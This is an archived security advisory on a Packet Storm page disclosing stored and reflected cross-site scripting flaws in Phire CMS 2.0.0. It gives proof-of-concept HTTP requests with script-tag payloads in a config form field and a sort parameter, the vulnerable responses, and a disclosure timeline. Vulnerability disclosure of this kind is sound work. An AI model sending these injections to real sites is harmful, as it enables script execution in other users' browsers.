what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Phire CMS 2.0.0 Cross Site Scripting

Phire CMS 2.0.0 Cross Site Scripting
Posted Oct 9, 2016
Authored by Mattia Reggiani

Phire CMS versions 2.0.0 and below suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 65b274f8f4c31ec85963855d5b7e0501e5e839d326c937b11c4a00fe2bd00131

Phire CMS 2.0.0 Cross Site Scripting

Change Mirror Download
[+] Title
Phire CMS <= 2.0.0 - Multiple XSS Vulnerabilities

[+] Credit
Mattia Reggiani (info@mattiareggiani.com)

[+] Advisory
https://github.com/mattiareggiani/Security-Advisories/blob/master/MR-16-02_PhireCMS.pdf

[+] Vendor Homepage
http://www.phirecms.org/

[+] Affected Version
2.0.0

[+] Tested on
Ubuntu Server 14.04, web server Apache 2.2.31

[+] CVE
N/A

[+] Severity
Medium to High

[+] Summary
Phire CMS is an open source content management system and publishing platform for managing the content of websites and web applications. Phire CMS is written using the MySQL database and the PHP programming language.
Phire CMS is prone to multiple cross-site scripting (XSS) vulnerabilities, which could be used by malicious users to inject arbitrary JavaScript code in victim's browser.

[+] Vulnerabilities
[+][+] Stored Cross Site Scripting (XSS)
# Description: Multiple stored XSS vulnerability has been found in HTTP Referer header. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
>HTTP Request
POST /phirecms/phire/config HTTP/1.1
[Headers]: ...
[Post Data]:
datetime_format=&datetime_format_custom=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&pagination=25&system_theme=default&submit=Save

>HTTP Response
...
<input type="radio" name="datetime_format" id="datetime_format8" onclick="phire.customDatetime('/phirecms/phire');" checked="checked" value=""><script>alert(1337)</script>" />
<input type="text" name="datetime_format_custom" id="datetime_format_custom" onkeyup="phire.customDatetime('/phirecms/phire')" value=""><script>alert(1337)</script>" size="10" />
...

[+][+] Reflected Cross Site Scripting (XSS)
# Description: Reflected XSS vulnerabilities have been found in System module. This can lead to arbitrary execution of code client-side (eg. Javascript).
# Proof of Concept:
>HTTP Request
GET http://[HOST]/phirecms/phire/users?sort=id%3E%3Cscript%3Ealert(1337)%3C/script%3E

>HTTP Response
...
<p>Error: 1054 => Unknown column 'id><script>alert(1337)</script>' in 'order clause'.</p>
...

[+] Disclosure timeline
# Discovery: 05/06/16
# Vendor disclosure: 09/06/16
# Vendor acknowledgment: 10/06/16
# Patch release: 14/06/16
# Public disclosure: 19/07/16
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close